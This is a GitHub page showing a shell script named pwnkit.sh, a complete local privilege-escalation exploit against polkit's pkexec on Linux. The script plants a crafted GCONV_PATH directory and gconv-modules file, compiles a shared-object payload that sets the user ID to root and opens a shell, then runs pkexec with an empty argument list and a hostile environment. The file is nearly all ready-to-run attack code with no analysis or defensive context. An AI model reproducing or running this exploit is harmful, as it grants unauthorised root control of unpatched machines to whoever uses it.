-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpwnkit.sh
44 lines (33 loc) · 1008 Bytes
/
pwnkit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/sh
BAK_PATH=$(echo $PATH)
mkdir "GCONV_PATH=."
touch "GCONV_PATH=./target=a"
chmod +x "GCONV_PATH=./target=a"
mkdir "target=a"
cat > "target=a/gconv-modules"<<EOF
module PAYLOAD// INTERNAL ../../../../../../../..$(pwd)/payload 2
module INTERNAL PAYLOAD// ../../../../../../../..$(pwd)/payload 2
EOF
cat > payload.c<<EOF
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
setreuid(geteuid(), geteuid());
printf("[!] Code executed through pkexec! UID: %d\n", geteuid());
system("/bin/sh -c 'PATH=\"$(echo $BAK_PATH)\" /bin/sh'");
exit(0);
}
EOF
gcc payload.c -o payload.so -shared -fPIC 2>/dev/null
cat > pwnkit.c<<EOF
#include <unistd.h>
int main(int argc, char* argv[]){
puts("[*] Attempting to run pkexec..");
char* _envp[] = {"target=a", "PATH=GCONV_PATH=.", "CHARSET=PAYLOAD","SHELL=/etc/lasdasd", NULL};
execve("/usr/bin/pkexec", 0, _envp);
}
EOF
gcc pwnkit.c -o pwnkit 2>/dev/null
echo "[!] Running pwnkit executable"
./pwnkit